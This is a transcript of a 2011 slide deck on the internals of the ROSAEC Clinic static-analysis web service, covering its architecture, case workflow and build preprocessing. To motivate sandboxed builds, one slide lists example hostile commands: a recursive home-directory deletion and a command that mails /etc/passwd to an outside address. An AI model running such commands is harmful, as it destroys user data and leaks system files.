ROSAEC Clinic Internals - Seoul National...

60
ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14 * * Joint work with Sungkeun Cho, Kihong Heo, Jisoo Jung, Jinyoung Kim, Seungjoon Lee, Woosuk Lee, and Hakjoo Oh

Transcript of ROSAEC Clinic Internals - Seoul National...

Page 1: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Internals

Jaeho Shin

ROPAS Show&Tell2011-01-14

*

* Joint work with Sungkeun Cho, Kihong Heo, Jisoo Jung, Jinyoung Kim, Seungjoon Lee, Woosuk Lee, and Hakjoo Oh

Page 2: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Contents

1. Tour

2. Design and Implementation

3. Preprocessing Issues & Ideas

Page 3: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Tour

Page 4: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service

From User’sPoint of View

Page 5: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service

From User’sPoint of View

Page 6: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service

From User’sPoint of View

Page 7: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service

From User’sPoint of View

Page 8: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service

From User’sPoint of View

Page 9: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service

From User’sPoint of View

Page 10: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Dashboard

From OurPoint of View

Page 11: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Dashboard

From OurPoint of View

Page 12: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Dashboard

From OurPoint of View

Page 13: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Dashboard

From OurPoint of View

Page 14: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Dashboard

From OurPoint of View

Page 15: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Dashboard

From OurPoint of View

Page 16: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Dashboard

From OurPoint of View

Page 17: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Dashboard

From OurPoint of View

Page 18: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Dashboard

From OurPoint of View

Page 19: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Dashboard

From OurPoint of View

Page 20: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Dashboard

From OurPoint of View

Page 21: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service

From User’sPoint of View

Page 22: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service

From User’sPoint of View

Page 23: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service

From User’sPoint of View

Page 24: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service

From User’sPoint of View

Page 25: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Goal of ROSAEC Clinic

• To let the public experience static analysis technology

• To collect samples of erroneous code for better research

Page 26: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Design and Implementation

Page 27: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Overview

Web Interface

Clinic Engine

lighttpd php

frontend

notification

analyzer

managerSparrow Workspacereporterclassifier

public internal

coreutilsbash sandbox xsltproc php Case

Page 28: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Structure for a Case

Case

input build analysis

alarms report log*.started

alarms.**.finished*.output

.target

...

target

a unique directory for each analysis

Page 29: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Workspace

runnew preprocessing analyzing

...classifying

archive2010 2011

...

Structure for Organizing Cases

poolCase

Case

CaseCase

Case Case

Case Case Case

Case

Case

log

etc

Page 30: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

State Transitionnew

confirmed

received

approving

preprocessing

analyzing

analyzed

classifying

reportingreported

finished

failed

failed-notified

notify owner

owner confirms

notify admin

admin approves

run preprocessors

run analyzers

notify admin

newowner submits code

admin finishes classification

notify owner

record in archive

new

wheneversomethinggoes wrong

notify admin

admin classifies alarms

generate report

Page 31: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

State Transition Tableengine/manager/clinic-process

Page 32: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Analyzer Driverspreprocess.X

analyze.Xfor each analyzer X

Clinic Engine

frontend

analyzer

Sparrow

Page 33: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Analyzer Driverspreprocess.X

analyze.Xfor each analyzer X

Clinic Engine

frontend

analyzer

Sparrow

X

Page 34: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

PreprocessingIssues & Ideas

Page 35: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Preprocess?

Source code

Source code

Page 36: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Preprocess?

Pure C code

Source code

Build ➥

Source code

Page 37: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Preprocess?

BinPure C codeSource

code

Build ➥

Source code

Page 38: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Preprocess?

BinPure C code

AiracStatic analyzersusually requirepure C code as input

Source code

Build ➥

Source code

Page 39: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Pure C Extraction

Source code

Source code

Page 40: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Pure C Extraction

Source code

Source code

Page 41: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Pure C Extraction

Pure C code

Source code

Build ➥

Source code

Pure C code

Page 42: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Pure C Extraction

BinPure C codeSource

code

Build ➥

Source code

Pure C code

Page 43: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Pure C Extraction

BinPure C code

Airac

We currently observe the build process to get a copy of Pure C

Source code

Build ➥

Source code

Pure C code

Page 44: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Security Issue

Since our service run builds,

Malicious commands uploaded by userscan cause bad things

e.g. • rm -rf ~• mail [email protected] </etc/passwd

Page 45: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service system

Sandbox for Builds

Clinic Engine

sandbox

frontend

/bin /usr/bin/usr/lib

/usr/share/lib

/etc/usr/include

/bin /usr/bin/usr/lib

/usr/share/lib

/etc /usr/include...

...

Workspace

So, we perform builds in a sandbox* with chroot(2)* a separate system created with debootstrap(8)

Page 46: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service system

Sandbox for Builds

Clinic Engine

sandbox

frontend

Sandbox system

/bin /usr/bin/usr/lib

/usr/share/lib

/etc/usr/include

/bin /usr/bin/usr/lib

/usr/share/lib

/etc /usr/include...

...

Workspace

So, we perform builds in a sandbox* with chroot(2)* a separate system created with debootstrap(8)

Page 47: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service system

Sandbox for Builds

Clinic Engine

sandbox

frontend

Sandbox system

Case

/bin /usr/bin/usr/lib

/usr/share/lib

/etc/usr/include

build

/bin /usr/bin/usr/lib

/usr/share/lib

/etc /usr/include...

...

Workspace

So, we perform builds in a sandbox* with chroot(2)* a separate system created with debootstrap(8)

Page 48: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

ROSAEC Clinic Service system

Sandbox for Builds

Clinic Engine

sandbox

frontend

Sandbox system

Case

/bin /usr/bin/usr/lib

/usr/share/lib

/etc/usr/include

build

/bin /usr/bin/usr/lib

/usr/share/lib

/etc /usr/include...

...

Workspace

So, we perform builds in a sandbox* with chroot(2)* a separate system created with debootstrap(8)

Page 49: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Remaining Issues

Pure C code

Source code

Page 50: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Remaining Issues

Pure C code

Source code

?GNU Make, Autotools, configure,

CMake, SCons, Visual Studio, Xcode, ...

How should we build

Page 51: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Remaining Issues

Pure C code

Source code

External Library

?Have we got all the header files

?GNU Make, Autotools, configure,

CMake, SCons, Visual Studio, Xcode, ...

How should we build

Page 52: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Remaining Issues

Pure C code

Source code

External Library

?Have we got all the header files

?GNU Make, Autotools, configure,

CMake, SCons, Visual Studio, Xcode, ...

How should we build

We can’t run analyzers unlessuser gives us full information

Page 53: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Idea 1

Provide our preprocessor, andlet users collect the Pure C code themselves

Page 54: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Exercise

int main(void) { int s = 0; for (int i=1; i<=10; i++) s += i; return s;}

a.c:

Will this compile with “gcc a.c”?

Page 55: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Exercise

$ gcc a.ca.c: In function ‘main’:a.c:3: error: ‘for’ loop initial declarations are only allowed in C99 modea.c:3: note: use option -std=c99 or -std=gnu99 to compile your code

No.

Page 56: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Idea 2

Recover trivial compile errors

e.g. • -std=c99• #include “X” where X exists somewhere

Page 57: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Idea 3

*.h names ⇌ Debian *-dev packages

Index names of header files in popular open source libraries

and install them in sandbox before builds

Page 58: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Q&A + Discussion

Page 59: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Development

• Gitgit clone ropas.snu.ac.kr:~netj/2010/rosaec-clinic

• Fully testable with local instance

Page 60: ROSAEC Clinic Internals - Seoul National Universityropas.snu.ac.kr/~netj/talk/2011/0114.rosaec-clinic-internals.pdf · ROSAEC Clinic Internals Jaeho Shin ROPAS Show&Tell 2011-01-14

Remaining Work

• Feedback System & UI

• Better Report